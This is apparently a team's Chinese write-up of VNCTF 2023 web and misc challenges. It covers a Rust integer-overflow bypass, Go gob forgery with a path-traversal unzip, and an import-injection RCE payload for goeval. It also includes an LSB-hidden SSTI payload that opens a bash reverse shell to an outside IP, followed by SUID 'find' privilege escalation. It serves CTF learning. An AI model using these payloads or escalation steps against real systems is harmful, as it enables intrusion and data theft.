队伍名称
Boogipop
希望可以进VN战队呀QWQ
排名
21/1(总|Web)
解题思路
WEB
象棋王子
传统JS题,直接在js文件里可以看到flag:
JSFUCK编码直接放在console输入即可:
电子木鱼
是一个用RUST做的web(没见过),给了源码,重点在于:
需要100000000功德获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| const PAYLOADS: &[Payload] = &[ Payload { name: "Cost", cost: 10, }, Payload { name: "Loan", cost: -1_000, }, Payload { name: "CCCCCost", cost: 500, }, Payload { name: "Donate", cost: 1, }, Payload { name: "Sleep", cost: 0, }, ];
#[get("/")] async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> { let mut context = Context::new();
context.insert("gongde", &GONGDE.get());
if GONGDE.get() > 1_000_000_000 { context.insert( "flag", &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()), ); }
match tera.render("index.html", &context) { Ok(body) => Ok(HttpResponse::Ok().body(body)), Err(err) => Err(error::ErrorInternalServerError(err)), } }
#[get("/reset")] async fn reset() -> Json<APIResult> { GONGDE.set(0); web::Json(APIResult { success: true, message: "重开成功,继续挑战佛祖吧", }) }
#[post("/upgrade")] async fn upgrade(body: web::Form<Info>) -> Json<APIResult> { if GONGDE.get() < 0 { return web::Json(APIResult { success: false, message: "功德都搞成负数了,佛祖对你很失望", }); }
if body.quantity <= 0 { return web::Json(APIResult { success: false, message: "佛祖面前都敢作弊,真不怕遭报应啊", }); }
if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) { let mut cost = payload.cost;
if payload.name == "Donate" || payload.name == "Cost" { cost *= body.quantity; }
if GONGDE.get() < cost as i32 { return web::Json(APIResult { success: false, message: "功德不足", }); }
if cost != 0 { GONGDE.set(GONGDE.get() - cost as i32); }
if payload.name == "Cost" { return web::Json(APIResult { success: true, message: "小扣一手功德", }); } else if payload.name == "CCCCCost" { return web::Json(APIResult { success: true, message: "功德都快扣没了,怎么睡得着的", }); } else if payload.name == "Loan" { return web::Json(APIResult { success: true, message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖", }); } else if payload.name == "Donate" { return web::Json(APIResult { success: true, message: "好人有好报", }); } else if payload.name == "Sleep" { return web::Json(APIResult { success: true, message: "这是什么?床,睡一下", }); } }
web::Json(APIResult { success: false, message: "禁止开摆", }) }
|
在/upgrade
路由中有上述5个功能,每个功能都需要传2个参数name,quantity
,quantity是扣功德的倍数,看到这种题一开始想的是传负数,可是被ban了,因此思路其实很明确就是整形溢出:(其实一开始我是脚本爆破,发现不可能就转思路了)
代码中的功德是i32类型,所以范围就是-2147483647~2147483647
,这里通过整形溢出绕过判断if GONGDE.get() < cost as i32
,因此payload为:
POST /upgrade :name=cost&quantity=2000000000
babyGo
一道go的反序列化以及Goeval逃逸,源码也是给出了,重点逻辑在于:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| r.GET("/unzip", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userUploadDir := session.Get("shallow").(string) + "uploads/" files, _ := fileutil.ListFileNames(userUploadDir) destPath := filepath.Clean(userUploadDir + c.Query("path")) for _, file := range files { if fileutil.MiMeType(userUploadDir+file) == "application/zip" { err := fileutil.UnZip(userUploadDir+file, destPath) if err != nil { c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"}) return } fileutil.RemoveFile(userUploadDir + file) } } c.HTML(200, "zip.html", gin.H{"message": "success unzip"}) })
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| r.GET("/backdoor", func(c *gin.Context) { session := sessions.Default(c) if session.Get("shallow") == nil { c.Redirect(http.StatusFound, "/") } userDir := session.Get("shallow").(string) if fileutil.IsExist(userDir + "user.gob") { file, _ := os.Open(userDir + "user.gob") decoder := gob.NewDecoder(file) var ctfer User decoder.Decode(&ctfer) if ctfer.Power == "admin" { eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt")) if err != nil { fmt.Println(err) } c.HTML(200, "backdoor.html", gin.H{"message": string(eval)}) return } else { c.HTML(200, "backdoor.html", gin.H{"message": "low power"}) return } } else { c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"}) return } })
r.Run(":80") }
|
题目一开始在user目录下创建了一个user.gob
文件,但又ban掉了gob上传后缀,因此不能直接上传,题目给了unzip选项,只需要上传zip文件夹,之后unzip解压即可,在unzip路由可以指定path,利用这一点覆盖user目录的user.gob即可,之后就可以通过goeval命令执行
知道思路后可以开始编辑payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package main
import ( "encoding/gob" "fmt" "os" )
type User struct { Name string Path string Power string }
func main() { p := User{ Power: "admin", Name: "Boogipop", Path:"test", } name := "user.gob" File, _ := os.OpenFile(name, os.O_RDWR|os.O_CREATE, 0777) defer File.Close() enc := gob.NewEncoder(File) err := enc.Encode(p) if err != nil { fmt.Println(err) return } }
|
go run user.go
,获得gob文件,将其压缩为user.zip
,之后先上传该文件:
再去unzip目录解压,这里注意user目录是在/tmp/ce79848ad6b3d871366ad85af49cd3f8/
下,而zip文件在/tmp/ce79848ad6b3d871366ad85af49cd3f8/uploads/
目录下,因此指定path=../
覆盖user.gob文件:
[http://614a29b7-dd93-41d9-b195-032ae746ef97.node4.buuoj.cn:81/unzip?path=../](http://614a29b7-dd93-41d9-b195-032ae746ef97.node4.buuoj.cn:81/unzip?path=../)
在访问backdoor路由查看是否成功:
覆盖是成功了,也就是可以进入命令执行部分了:
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
,在这里可控参数只有第三个选项的pkg
,这就涉及一个goeval的逃逸了,可以看看Eval的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| func Eval(defineCode string, code string, imports ...string) (re []byte, err error) { var ( tmp = `package main
%s
%s
func main() { %s } ` importStr string fullCode string newTmpDir = tempDir + dirSeparator + RandString(8) ) if 0 < len(imports) { importStr = "import (" for _, item := range imports { if blankInd := strings.Index(item, " "); -1 < blankInd { importStr += fmt.Sprintf("n %s "%s"", item[:blankInd], item[blankInd+1:]) } else { importStr += fmt.Sprintf("n"%s"", item) } } importStr += "n)" } fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
var codeBytes = []byte(fullCode) if formatCode, err := format.Source(codeBytes); nil == err { codeBytes = formatCode }
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err { return } defer os.RemoveAll(newTmpDir) tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go") if err != nil { return re, err } defer os.Remove(tmpFile.Name()) tmpFile.Write(codeBytes) tmpFile.Close() cmd := exec.Command("go", "run", tmpFile.Name()) res, err := cmd.CombinedOutput() return res, err }
|
在这里我们可控参数对应的就是第二占位符,并且可以发现它是通过字符串拼贴得出的importSt
,因此这里就可以通过闭合import,达到逃逸的目的
由于是在main函数外,所以得通过func init()
方法去优先于main执行命令,也是由于在main方法外,不可以存在()
这样的单一结构,会报错,因此最后一个)
,需要通过const ( boogipop="testpop"
进行闭合,因此我们的payload为:
1
| ?pkg=os/exec"%0a"fmt")%0afunc%09init()\{%0acmd%09:=exec.Command("/bin/bash","-c","cat${IFS}/f*")%0ares,err%09:=%09cmd.CombinedOutput()%0afmt.Println(string(res))%0afmt.Println(err)%0a}%0aconst(%0aMessage="fmt
|
MISC
验证码
不给提示还真不知道,一给提示就通了
给了136个图片,全是纯数字验证码,并且提示给了tupper
首先通过py脚本识别验证码,将其拼贴在一起:
1 2 3 4 5 6 7 8 9 10 11 12
| import ddddocr
ocr = ddddocr.DdddOcr() res='' for i in range(0,136): dir="C:\\Users\\22927\\Downloads\\imgs\\" filename=dir+f"{i}.png" with open(filename, 'rb') as f: img_bytes = f.read() res+= ocr.classification(img_bytes) print(res)
|
这里脚本出来的结果中0识别为了o,需要手动改改,不太麻烦
tupper可以联想到塔帕自指公式,用脚本跑出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import textwrap import matplotlib.pyplot as plt
K ='上面注释的数字,放进来导不出来' H = 17 W = 106
if __name__ == "__main__": plt.figure(figsize=(6.8, 4), dpi=600) plt.axis("scaled")
K_ = K//17 for x in range(W): for y in range(H): if K_ & 1: plt.bar(x+0.5, bottom=y, height=1, width=1, linewidth=0, color="black") K_ >>= 1
plt.figtext(0.5, 0.8, r"$\frac{1}{2}<\left\lfloor \operatorname{mod}\left(\left\lfloor\frac{y}{%d}\right\rfloor 2^{-%d\lfloor x\rfloor-\operatorname{mod}(\lfloor y\rfloor, %d)}, 2\right)\right\rfloor$" % (H, H, H), ha="center", va="bottom", fontsize=18) plt.subplots_adjust(top=0.8, bottom=0.5) K_str = textwrap.wrap(str(K), 68) K_str[0] = f"K={K_str[0]}" for i in range(1, len(K_str)): K_str[i] = f" {K_str[i]}".ljust(70) K_str = "\n".join(K_str) plt.figtext(0.5, 0.45, K_str, fontfamily="monospace", ha="center", va="top")
plt.xlim((0, W)) plt.ylim((0, H)) xticks = list(range(0, W+1)) xlabels = ["" for i in xticks] xlabels[0] = "0" xlabels[-1] = str(W) plt.xticks(xticks, xlabels) yticks = list(range(0, H+1)) ylabels = ["" for i in yticks] ylabels[0] = "K" ylabels[-1] = f"K+{H}" plt.yticks(yticks, ylabels) plt.grid(b=True, linewidth=0.5)
plt.savefig("Tupper-plot.png")
|
运行得出flag图片:
flag{MISC_COOL!!}
LSSTIB
其实这一题放到Web不是更好吗()
披了一层皮的SSTI注入,但是有些地方要注意,首先网站架构为Flask,对应python版本为3.8
,是python3的话你假如用py2的lsb脚本加密可能就寄了(好像其实就是lsb加密的问题?之前用py2有密码,只需要改一下lsb.py变为无加密即可QWQ)
因此我去网上找了个PY3的LSB加密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| from PIL import Image
def plus(str):
return str.zfill(8)
def get_key(strr):
tmp = strr
f = open(tmp, "rb")
s = f.read() str = ""
for i in range(len(s)):
str = str + plus(bin(s[i]).replace('0b', ''))
f.closed
return str
def mod(x, y): return x % y
def func(str1, str2, str3): im = Image.open(str1)
width = im.size[0]
print("width:" + str(width) + "\n")
height = im.size[1]
print("height:" + str(height) + "\n")
count = 0
key = get_key(str2)
keylen = len(key)
for h in range(0, height):
for w in range(0, width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen: break
a = a - mod(a, 2) + int(key[count])
count += 1
if count == keylen: im.putpixel((w, h), (a, b, c))
break
b = b - mod(b, 2) + int(key[count])
count += 1
if count == keylen: im.putpixel((w, h), (a, b, c))
break
c = c - mod(c, 2) + int(key[count])
count += 1
if count == keylen: im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0: im.putpixel((w, h), (a, b, c))
im.save(str3)
old = r"E:\CtfTool\babygo_vnctf2023\3.png"
new = r"E:\CtfTool\babygo_vnctf2023\4.png"
enc = r"E:\CtfTool\babygo_vnctf2023\1.log"
func(old, enc, new)
|
网站标题为加密日志上传
,因此解码出来的文件应该是.log文件,内容为:
1
| {{lipsum.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/114.116.119.253/7788 <&1"')}}
|
上传可以看到:
这里其实已经弹shell了(我在这没接收),vps上开启监听即可获得反弹shell:
但是flag文件没有权限读取,所以需要简单提权,寻找一下suid命令:
find / -user root -perm -4000 -print 2>/dev/null
这里后半部分的/usr/bin
出来的及其慢,需要耐心等待(一开始没做出来也是因为这个)
看到了find还有啥好说的:
touch /tmp/evilboogipop&&find /tmp/evilboogipop -exec whoami \;
touch /tmp/evilboogipop&&find /tmp/evilboogipop -exec cat /flag \;